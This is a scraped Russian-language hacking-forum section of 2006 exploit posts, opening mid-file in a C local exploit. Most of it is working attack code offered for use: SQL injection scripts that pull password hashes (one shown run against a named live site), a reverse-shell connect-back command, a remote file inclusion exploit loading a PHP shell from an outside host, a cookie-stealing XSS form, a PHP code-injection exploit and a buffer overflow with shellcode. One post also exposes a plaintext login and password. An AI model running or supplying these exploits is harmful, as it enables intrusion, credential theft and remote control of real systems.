DOWN & RUN [ not a real virus ]
"\x08\x01";

// Return Code:
unsigned char return_code[] =
"\x83\xC5\x48"
"\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64"
"\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64\x83\xC5\x64"
"\xFF\xE5\x33\xC0\x74\xBB";


int main(int argc, char* argv[])
{
FILE *hfile;
unsigned long Retaddr;
unsigned char buf[11160];

printf("IntelliTamper web analysis ( *.Map File Handling Local Exploit 
)\n\n");
printf(" Discovery By: Devil 00 [ o.y.6@hotmail.com ]\n");
printf(" Coded By: JAAScois [ http://www.jaascois.com ]\n");

// fill nop's
for(int k=0;k<11160;k++){
buf[k]=0x90;
}
// ..... ..... ...... ..... ... .... ..... ...... ... ........
strcpy((char*)&buf[0],(char*)&shellcode[0]);
buf[strlen((char*)shellcode)]=0x90;

// ...... ... ..... ........ .... ........
Retaddr=0x004055DF;
memcpy(&buf[11156],&Retaddr,4);

// ... ..... ..... ..... ..... ........ ...... ...... ....
memcpy(&buf[11087],&return_code[0],69);

hfile=fopen("WebSite.map","w+b");
if(hfile==NULL){
printf("-Error: fopen \n");
return 1;
}

fwrite(buf,11160,1,hfile);
fclose (hfile);

return 0;
}
// JAAScois.com 17/05/2006
DeluxeBB 1.06 Remote SQL Injection Exploit
ID: 67686ba3b4103b69df379e55
Thread ID: 8464
Created: 2006-05-16T12:03:51+0000
Last Post: 2006-05-19T17:49:28+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 2 Views: 2K

DeluxeBB 1.06 Remote SQL Injection Exploit

Code:Copy to clipboard

#!/usr/bin/perl 

use IO::Socket; 


print q{ 
############################################# 
# DeluxeBB 1.06 Remote SQL Injection Exploit# 
#    exploit discovered and coded        # 
#      by KingOfSka                     # 
#   http://contropotere.netsons.org       # 
############################################# 
}; 

if (!$ARGV[2]) { 

print q{ 
   Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1 


}; 

} 


$server = $ARGV[0]; 
$dir    = $ARGV[1]; 
$user   = $ARGV[2]; 
$myuser = $ARGV[3]; 
$mypass = $ARGV[4]; 
$myid   = $ARGV[5]; 

print "------------------------------------------------------------------------------------------------\r\n"; 
print "[>] SERVER: $server\r\n"; 
print "[>]    DIR: $dir\r\n"; 
print "[>] USERID: $user\r\n"; 
print "------------------------------------------------------------------------------------------------\r\n\r\n"; 

$server =~ s/(http:\/\/)//eg; 

$path  = $dir; 
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user; 

  
print "[~] PREPARE TO CONNECT...\r\n"; 

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED"; 

print "[+] CONNECTED\r\n"; 
print "[~] SENDING QUERY...\r\n"; 
print $socket "GET $path HTTP/1.1\r\n"; 
print $socket "Host: $server\r\n"; 
print $socket "Accept: */*\r\n"; 
print $socket "Connection: close\r\n\r\n"; 
print "[+] DONE!\r\n\r\n"; 



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n"; 
while ($answer = <$socket>) 
{ 

 if ($answer =~/(\w{32})/) 
{ 

  if ($1 ne 0) { 
   print "Password Hash is: ".$1."\r\n"; 
print "--------------------------------------------------------------------------------------\r\n"; 

      } 
exit(); 
} 

} 
print "------------------------------------------------------------------------------------------------\r\n";

Добавлено в [time]1147781031[/time]

Code:Copy to clipboard

madabus:/home# perl deluxe.pl webmaster-lexikon.de /board/ 1 

----------------------------------------------------------------------------------------------- 
[>] SERVER: webmaster-lexikon.de 
[>] DIR: /board/ 
[>] USERID: 1 
------------------------------------------------------------------------------------------------ 

[~] PREPARE TO CONNECT... 
[+] CONNECTED 
[~] SENDING QUERY... 
[+] DONE! 
--[ REPORT ]------------------------------------------------------------------------------------ 
Password Hash is: bd32f9ec2333be52a972ef1025d2e4c5 
--------------------------------------------------------------------------------------

пашет

Spoiler: 15

login: metaman
password: asq113

AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit
ID: 67686ba3b4103b69df379e58
Thread ID: 8330
Created: 2006-05-08T09:11:30+0000
Last Post: 2006-05-08T09:11:30+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

AWStats <= 6.5 (migrate) Remote Shell Command Injection Exploit
Описание:
Уязвимость существует из-за недостаточной обработки входных данных в параметре "migrate" при вызове функции "open()". Удаленный пользователь может с помощью символа "|" внедрить и выполнить произвольные команды на системе с привилегиями Web сервера.
Эксплоит:
нужен Activepython для запуска.

Code:Copy to clipboard

#!/usr/bin/env python
# http://secunia.com/advisories/19969/
# by redsand@blacksecurity.org
# May 5, 2006 - HAPPY CINCO DE MAYO
# HAPPY BIRTHDAY DAD
# private plz


#
#  redsand@jinxy ~/ $ nc -l -p 31337 -v
#	listening on [any] 31337 ...
#	connect to [65.99.197.147] from blacksecurity.org [65.99.197.147] 53377
#	id
#	uid=81(apache) gid=81(apache) groups=81(apache)
#


import sys, socket, base64
import urllib2, urlparse, urllib

# perl 1 line tcp connect-back code
# needs ip & port
cmd = 'perl -e \'$h="%s";$p=%r;use Socket;$sp=inet_aton($h);$sa=sockaddr_in($p,$sp);;socket(CLIENT,PF_INET,SOCK_STREAM,getprotobyname("tcp"));gethostbyname($h);connect(CLIENT,$sa);open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");if(fork()){exec "/bin/sh"; exit(0); };\'';

class	rbawstatsMigrate:
	__url = '' 
	__user = ''
	__password = ''
	__auth = False
	__chost =False
	__cport = False
	
	def	__init__(self,host=False, ur=False, ps=False, chost=False, cport=False):
  if host:
  	self.__url = host
  if ur:
  	self.__user = ur
  if ps:	
  	self.__password = ps

  if ur or ps:	self.__auth = True


  if chost: self.__chost = chost
  if cport: self.__cport = cport


  url = urlparse.urlsplit(self.__url)

  i = url[1].find(';')
  if i >= 0:
  	self.__parsed_host = url[1][:i]
  else:
  	self.__parsed_host = url[1]

	def	probe(self):

  cphost = socket.gethostbyname_ex(self.__chost)

  my_cmd = cmd % (cphost[2][0],self.__cport)
  url_xpl = { "config": self.__parsed_host,
       "migrate":"|cd /tmp/ && %s|awstats052005.%s.txt" % (my_cmd, self.__parsed_host)
       # "migrate":"|cd /tmp/ && wget %s && chmod 777 %s && /tmp/%s|awstats052005.%s.txt" % (rsv, fname, fname, self.__parsed_host)

     }

  #if self.__url[len(self.__url) -1] != '?':
  #	url_xpl = '?' + url_xpl

  url = self.__url 
  url_xpl =  urllib.urlencode(url_xpl)

  try:
  	req = urllib2.Request(url, url_xpl)
  	if(self.__auth):
    b64str = base64.encodestring('%s:%s' % (self.__user,self.__password))[:-1]
    req.add_header('Authorization', "Basic %s"% b64str)

  	req.add_header('Referer', "http://exploit.by.redsand.of.blacksecurity.org")
  	req.add_header('Accept', 'text/xml,application/xml,application/xhtml+xml,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1')
  	req.add_header('Accept-Language','en-us')
  	req.add_header('Accept-Encoding','deflate, gzip')
  	req.add_header('User-Agent', "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; [BL4CK] Security")
  	req.add_header('Connection' ,'Keep-Alive')
  	req.add_header('Cache-Control','no-cache')
  	q = urllib2.urlopen(req)
  except IOError, e:
  	print "FAILED %s" % e
  	sys.exit(0)

  print "SUCCESS, now check to see if it connected-back properly to %s:%s" % (self.__chost,self.__cport)
  sys.exit(0)
  

  
  	
user=False
pas=False
url=False
chst=False
cprt=False

print "[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org"
print "http://secunia.com/advisories/19969/"
print "http://blacksecurity.org - f0r my h0mi3s"

argc = len(sys.argv)
if(argc <= 3):
	print "USAGE: %s http://host/awstats.pl <connect back host> <connect back port> [username] [password] " % sys.argv[0]
	print "\t\* Support 401 HTTP Authentication"
	sys.exit(0)
if(argc > 1):
	url = sys.argv[1]
if(argc > 2):
	chst = sys.argv[2]
if(argc > 3):
	cprt = sys.argv[3]
if(argc > 4):
	user = sys.argv[4]
if(argc > 5):
	pas = sys.argv[5]




  
red = rbawstatsMigrate(url, user, pas, chst, cprt)

red.probe()
SQL-Injection in evoArticles 2.0.2
ID: 67686ba3b4103b69df379e59
Thread ID: 8329
Created: 2006-05-08T08:05:49+0000
Last Post: 2006-05-08T08:05:49+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-Injection in evoArticles 2.0.2
Уязвимый скрипт: index.php

Code:Copy to clipboard

http://www.target.com/index.phpdo=cat&total=19&cid=37&sort=date&order=desc'&page=2

http://www.target.com/index.phpdo=cat&total=19&cid=37&sort=date'&order=desc&page=2

http://www.target.com/index.php?do=cat&cid=22'

Открыт для просмотра файл phpinfo:

Code:Copy to clipboard

www.target.com/phpinfo.php

:zns2: производитель
Источник: www.cyberlords.net

Уязвимости: StatIt
ID: 67686ba3b4103b69df379e5c
Thread ID: 8261
Created: 2006-05-05T21:39:14+0000
Last Post: 2006-05-05T21:39:14+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

StatIt v4 (statitpath) Remote File Inclusion Exploit

Code:Copy to clipboard

#!/usr/bin/perl
##
# Statit V4 Remote File Inclusion exploit
# Bug discovered By IGNOR3
# IGNOR3_llvlle@yahoo.com
# http://www.smart-boys.com
# Google Search=inurl:statit.php
# usage:
# perl statit.pl <target> <cmd shell location> <cmd shell variable>
# perl statit.pl http://target.com/statit/ http://www.golha.net/ignor3/shell.txt cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
head();
while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'visible_count_inc.php?statitpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}
else {print "[shell] \$";}}}last;
sub head()
 {
 print "\n============================================================================\r\n";
 print " Statit V4 Remote File Inclusion exploit\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl statit.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Fastclick ex: http://www.site.com/statit/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.golha.net/ignor3/shell.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           BUG DISCOVERED BY IGNOR3 \r\n";
 print "                           Yahoo ID: IGNOR3_llvlle \r\n";
 print "                           http://www.smart-boys.com \r\n";
 print "============================================================================\r\n";
 print " Download The Video: http://www.ignor3.persiangig.com/video/statit.rar \r\n";
 print "============================================================================\r\n";
 exit();
 }
Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC
ID: 67686ba3b4103b69df379e5d
Thread ID: 8206
Created: 2006-05-04T08:21:24+0000
Last Post: 2006-05-04T10:35:52+0000
Author: Ŧ1LAN
Prefix: DoS
Replies: 2 Views: 2K

Golden FTP Server Pro 2.70 (APPE) Remote Buffer Overflow PoC
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании приложения.

Уязвимость существует из-за ошибки при обработке аргументов команды "NLST". Удаленный пользователь может с помощью специально сформированной команды вызвать отказ в обслуживании приложения.
Пример:

Code:Copy to clipboard

NLST /A/A/A/A/A/ [approximate 5836 bytes]

Эксплоит:

Code:Copy to clipboard

#!/usr/bin/perl

#
-----------------------------------------------------------------------------------------
# Golden FTP Server Pro 2.70 Remote APPE command PoC exploit : DoS
# /JA
# https://www.securinfos.info
#
-----------------------------------------------------------------------------------------

use Net::FTP;

$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

if (($host) && ($port)) {

# Exploit string (try with a different value if needed)
$exploit_string = "./A" x 1000;

      print "Trying to connect to $host:$port\n";
      $sock = Net::FTP->new("$host",Port => $port, TimeOut => 60, Debug=> $debug) or die "[-] Connection failed\n";
      print "[+] Connect OK!\n";
      print "Logging...\n";
      if (!$user) {
           $user = "test";
           $pass = "test";
      }
      $sock->login($user, $pass);
      sleep(1);
      $answer = $sock->message;
      print $answer ."\n";
      print "Sending string...\n";
      $sock->quot("APPE",$exploit_string);
} else {
      print "Golden FTP Server Pro 2.70 - Remote APPE command PoC
exploit : DoS\nhttps://www.securinfos.info\n\nUsing: $0 host port [debug: 1 or 0] username password\n\n";
}
Уязвимости: FlexBB
ID: 67686ba3b4103b69df379e5e
Thread ID: 7949
Created: 2006-04-18T15:33:39+0000
Last Post: 2006-04-24T13:26:23+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 2 Views: 2K

FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit

Code:Copy to clipboard

#!/usr/bin/perl -w

# FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit , Perl C0d3
#
# Milw0rm ID :-
#                        http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 < BlackHat > :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/

$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort        => "80",
                                                                                Proto                => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");
##-- DONT TRY TO EDIT ME --##
$evilcookie = "flexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;";
##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?action=buddypopup HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n";
$evildata .= "Cookie: ".$evilcookie."\n\n";

print $sock $evildata;

while($ans = <$sock>){
#<a href="./admin/index.php">
        if($ans =~ m/<a href=\".\/admin\/index.php">(.*?)<\/a>/){
            print "\n[+] Bypass [ OKAY ] Edit your cookies  :-\n\n";
            print "\tflexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;\n\n";
            exit;
        }
}
Уязвимости: СoreNews
ID: 67686ba3b4103b69df379e5f
Thread ID: 8023
Created: 2006-04-22T08:29:57+0000
Last Post: 2006-04-22T08:29:57+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

CoreNews <= 2.0.1 (userid) Remote SQL Injection Exploit

Code:Copy to clipboard

#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=24
#Usage: corenews.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-24\r\n";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to CoreNews ex: /corenews/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http:\/\/)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserver\r\n";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...\n";
  print $cn "GET $cnreq HTTP/1.1\n";
  print $cn "Accept: */*\n";
  print $cn "Referer: $cnhost\n";
  print $cn "Accept-Language: tr\n";
  print $cn "User-Agent: NukeZilla\n";
  print $cn "Cache-Control: no-cache\n";
  print $cn "Host: $cnserver\n";
  print $cn "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([\d,a-f]{32})2203/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      print "- If you crack hash you can use RFI with example ->\r\n";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txt\r\n"; 
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]
Уязвимости: SLAED CMS
ID: 67686ba3b4103b69df379e61
Thread ID: 7493
Created: 2006-03-20T20:07:43+0000
Last Post: 2006-03-20T20:07:43+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

XSS in SLAED CMS
Уязвимый скрипт: index.php?name=Contact
Причина: Недостаточная проверка входящих POST параметров
Эксплоит:

Code:Copy to clipboard

<form method="post" action="http://www.site.com/index.php?name=Contact" name="sploit"> <input type="hidden" name="ipreg" value="127.0.0.1">
<input type="hidden" name="ipreg4" value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"> <input type="hidden" name="admin_mail" value="test@test.ru"> <input type="hidden" name="sender_name" value='"><img src=javascript:window.navigate("http://sniffer host.ru/sniffer.gif?"+document.cookie);><br "'> <input type="hidden" name="sender_email> <input type="hidden" name="message"> <input type="hidden" name="opi" value="ds"> <script> sploit.submit(); </script> </form>
Уязвимости: Dblog
ID: 67686ba3b4103b69df379e62
Thread ID: 7485
Created: 2006-03-20T13:42:32+0000
Last Post: 2006-03-20T14:31:17+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 1 Views: 2K

0day - Dblog Remote Command Execution
Эксплоит:

Code:Copy to clipboard

#!/usr/bin/perl 
use LWP::UserAgent; 
if ( !$ARGV[1] ) 
{    print "Usage: dblog.pl http://site.com/dblog_path command \n"; 
    print "          dblog.pl http://127.0.0.1/dblog ls\n"; 
    exit; 
} 
print q{ 
###################################################\n 
#     Dblog Remote Command Execution Exploit      #\n 
#    discovered and coded by KingOfSka      #\n 
#     https://contropotere.netsons.org        #\n 
###################################################\n 
}; 
my $path = $ARGV[0]; # 
my $cmd  = $ARGV[1]; 
print "[*] Trying to exploit $path ...\n"; 
my $ua = new LWP::UserAgent; 
   $ua->agent("Dblog Exploiter" . $ua->agent); 
print "[*] Registering fake user ...\n"; 
my $req = new HTTP::Request POST => $path . "/newser4.php"; 
   $req->content_type('application/x-www-form-urlencoded'); 
   $req->content('user=<?php echo 777; system($_POST[cmd]); echo 888; ?>'); 
my $res = $ua->request($req); 
#print $res->content; 
print "[*] Sending Command ...\n"; 
my $req2 = new HTTP::Request POST => $path . "/view.php"; 
   $req2->content_type('application/x-www-form-urlencoded'); 
   $req2->content("cmd=".$cmd); 
my $res2 = $ua->request($req2); 
$res2->content =~/777(.*)888/s; 
print "[*] Output from \"$cmd\" ...\n"; 
print $1;
Уязвимости: TotalECommerce
ID: 67686ba3b4103b69df379e64
Thread ID: 7286
Created: 2006-03-06T12:40:28+0000
Last Post: 2006-03-06T12:40:28+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 0 Views: 2K

SQL-инъекция в TotalECommerce <=1.0
программа: TotalECommerce <= 1.0
Описание:
Вчера была найдена Remote SQL-инъекция в TotalECommerce <= 1.0. Уязвим файл index.asp. Дает возможность получить чистый пароль любого администратора и его логин.
Использование:

Code:Copy to clipboard

GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]

Пример1 ->

Code:Copy to clipboard

http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha+from+administradores

Пример 2 ->

Code:Copy to clipboard

http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,
login,login,login,login,login,login,login,login,login,login,login,login,login,login,
login,login,login,login,login,login,login,login,login+from+administradoresъ

подробнее
P.S. Уязвимость по ходу нашёл какой-то португалец т.к. по португальски
senha - Означает пароль
administradores - Означает администраторы...
secao - сессия...

Уязвимости: Admbook
ID: 67686ba3b4103b69df379e66
Thread ID: 7128
Created: 2006-02-22T08:16:20+0000
Last Post: 2006-02-22T23:09:00+0000
Author: Ŧ1LAN
Prefix: Web
Replies: 2 Views: 2K

PHP-инклюдинг в Admbook
Программа: Admbook 1.2.2 и более ранние версии.
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP код на целевой системе.

Уязвимость существует из-за недостаточной обработки входных данных в HTTP заголовке "X-Forwarded-For" перед записью их в файл "content-data.php". Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Удачная эксплуатация уязвимости требует, чтобы файл "banned-ip-data.php" был некорректно сконфигурирован (значение по умолчанию).
Решение: Способов устранения уязвимости не существует в настоящее время.
:zns2: производитель

Folder Guard
ID: 67686ba3b4103b69df379e67
Thread ID: 7041
Created: 2006-02-15T12:43:09+0000
Last Post: 2006-02-15T12:43:09+0000
Author: Ŧ1LAN
Prefix: Local
Replies: 0 Views: 2K

Обход парольной защиты Folder Guard
Программа: Folder Guard v4.11
Описание :
Обойти парольную защиту становится возможным в результате переименования или перемещения файла пароля "FGuard.FGP".
Немного о программе:
Программа для защиты информации, хранящейся на жестком диске, и предотвращения несанкционированного доступа к компьютеру. Позволяет "спрятать" папки и файлы, а также ввести авторизацию пользователей на компьютере. Кроме этого, с помощью Folder Guard можно установить пароли для доступа к определенным папкам или к компьютеру в целом, ограничить доступ к Панели управления, запретить скачивать некоторые типы файлов из Интернета (например - zip, exe, rar) и т.п.

Уязвимости: Kinesphere eXchange POP3
ID: 67686ba3b4103b69df379e68
Thread ID: 6904
Created: 2006-02-06T10:50:24+0000
Last Post: 2006-02-06T10:50:24+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 0 Views: 2K

Переполнение буфера в Kinesphere eXchange POP3
Программа: Kinesphere eXchange POP3 5.0 build 050203, возможно более ранние версии
Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

Уязвимость существует из-за ошибки при обработке SMTP соединений. Удаленный пользователь может вызвать переполнение буфера с помощью специально сформированного заголовка "RCPT TO:" длиной более 4112 байт и выполнить произвольный код на целевой системе.
Эксплоит:
Воздействие эксплоита: Выполнение произвольного кода

Code:Copy to clipboard

#!/usr/bin/perl -w        
# for educational purposes only .   
  use IO::Socket;
                      if ($#ARGV<0) 
                    { 
                         print "\n write the target IP!! \n\n"; 
                       exit; 
                     } 
                $buffer2 = "\x90"x1999999;
                $mailf= "mail";
                $rcptt ="rcpt to:<";
                $buffer = "\x41"x4100;
                $ret   = "\x80\x1d\xdc\x02";
                $shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
                      "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
                      "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
                      "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
                      "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
                      "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
                      "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
                      "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
                      "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
                      "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
                      "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
                      "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
                      "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
                      "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
                      "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
                      "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
                      "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
                      "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
                      "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
                      "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
                      "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
                      "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
                      "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
                      "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
                      "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
                      "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
                      "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
                      "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
                      "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
                      "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
                      "\xD3\x4A\x8C\x88";

                $enter  = "\x0d\x0a";
                $connect = IO::Socket::INET ->new (Proto=>"tcp",
                PeerAddr=> "$ARGV[0]",
                PeerPort=>"25"); unless ($connect) { die "cant connect" }  
                print "\nExchangepop3 v5.0  remote exploit by securma massine\n";
                print "\n+++++++++++www.morx.org++++++++++++++++\n";              
                $connect->recv($text,128); 
                print "$text\n";
                $connect->send($mailf . $enter); 
                $connect->recv($text,128); 
                print "$text\n";
                $connect->send($rcptt . $buffer . $ret . $buffer2 .  $shellcode . $enter); 
                print "\nsending exploit......\n\n";
                 print "\ntelnet to  server port 9191 .........\n\n";

Решение: Установите последнюю версию (5.0 build 050203) с сайта производителя
:zns2: производитель

Уязвимости: Calendarix
ID: 67686ba3b4103b69df379e6a
Thread ID: 6754
Created: 2006-01-29T01:09:19+0000
Last Post: 2006-01-29T01:09:19+0000
Author: Winux
Prefix: Web
Replies: 0 Views: 2K

Calendarix SQL Injection & Authorization Bypass Vulnerabilities
Хех, классика жанра. Неужели людей история не учит?

http://host/calendarix/admin/cal_login.php
username: ' or 1/*
password: any

Да и к тому же вот такая инъекция:

Code:Copy to clipboard

http://host/calendarix/cal_day.php? op=day&date=2006-01-10&catview=99% 20union%20select% blabla
KDE
ID: 67686ba3b4103b69df379e6b
Thread ID: 6705
Created: 2006-01-25T03:12:29+0000
Last Post: 2006-01-25T16:28:32+0000
Author: Ŧ1LAN
Prefix: Remote
Replies: 2 Views: 2K

